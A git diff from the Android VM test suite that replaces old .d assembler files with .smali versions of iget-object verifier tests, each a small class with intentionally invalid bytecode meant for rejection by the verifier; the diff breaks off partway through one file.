diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali
new file mode 100644
index 0000000..222b0b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_17.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.d
deleted file mode 100644
index 3dac91f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_18.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali
new file mode 100644
index 0000000..f438245
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_18.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.d
deleted file mode 100644
index 19a9277..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_19.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali
new file mode 100644
index 0000000..d11e76e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_19.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.d
deleted file mode 100644
index 71751fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_20.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali
new file mode 100644
index 0000000..bc1bd1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_20.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.d
deleted file mode 100644
index 10143a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_21.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_21
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       new-instance v0, java/lang/Object
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       
-       iput-object v0, v1, dot.junit.opcodes.iget_object.d.T_iget_object_21.i1 Ljava/lang/Object;
-       
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_21.i1 Ljava/lang/String;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.smali
new file mode 100644
index 0000000..60d74a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_21;
+.super Ljava/lang/Object;
+.source "T_iget_object_21.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    new-instance v0, Ljava/lang/Object;
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_21;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/String;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_21;->i1:Ljava/lang/String;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d
deleted file mode 100644
index 38872fd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_22.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_22
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/TestStubs/<init>()V
-
-       iget-object v1, v0, dot.junit.opcodes.iget_object.TestStubs.TestStubProtectedField Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali
new file mode 100644
index 0000000..7b6e370
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_22.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/TestStubs;-><init>()V
+
+       iget-object v1, v0, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubProtectedField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.d
deleted file mode 100644
index 4999f1a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_3.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_3
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v3, v2, dot.junit.opcodes.iget_object.d.T_iget_object_3.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.smali
new file mode 100644
index 0000000..a103716
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_3;
+.super Ljava/lang/Object;
+.source "T_iget_object_3.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-object p1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_3;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.d
deleted file mode 100644
index 621f235..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_30.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_30
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_object/d/T_iget_object_30
-    iget-object v1, v0, dot.junit.opcodes.iget_object.d.T_iget_object_30.st_i1 Ljava/lang/Object;
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.smali
new file mode 100644
index 0000000..87f9721
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_30;
+.super Ljava/lang/Object;
+.source "T_iget_object_30.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_30;
+
+    iget-object v1, v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_30;->st_i1:Ljava/lang/Object;
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.d
deleted file mode 100644
index f194ecd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_31.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_31
-.super java/lang/Object
-
-.field public st_i1 Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_object.d.T_iget_object_31.st_i1 Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.smali
new file mode 100644
index 0000000..133a925
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+.super Ljava/lang/Object;
+.source "T_iget_object_31.java"
+
+
+# instance fields
+.field public st_i1:Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+    .registers 3
+
+    iget v0, v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_31;->st_i1:Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d
deleted file mode 100644
index a4fc423..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_35.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 2
-       iget-object v0, v1, dot.junit.opcodes.iget_object.TestStubs.TestStubProtectedField Ljava/lang/Object;
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali
new file mode 100644
index 0000000..433800c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_35.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 2
+       iget-object v0, v1, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubProtectedField:Ljava/lang/Object;
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.d
deleted file mode 100644
index 9a05156..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_4.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_4
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_4.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.smali
new file mode 100644
index 0000000..8f5fcd3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_4;
+.super Ljava/lang/Object;
+.source "T_iget_object_4.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_4;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.d
deleted file mode 100644
index ed15e90..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_5.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_5
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
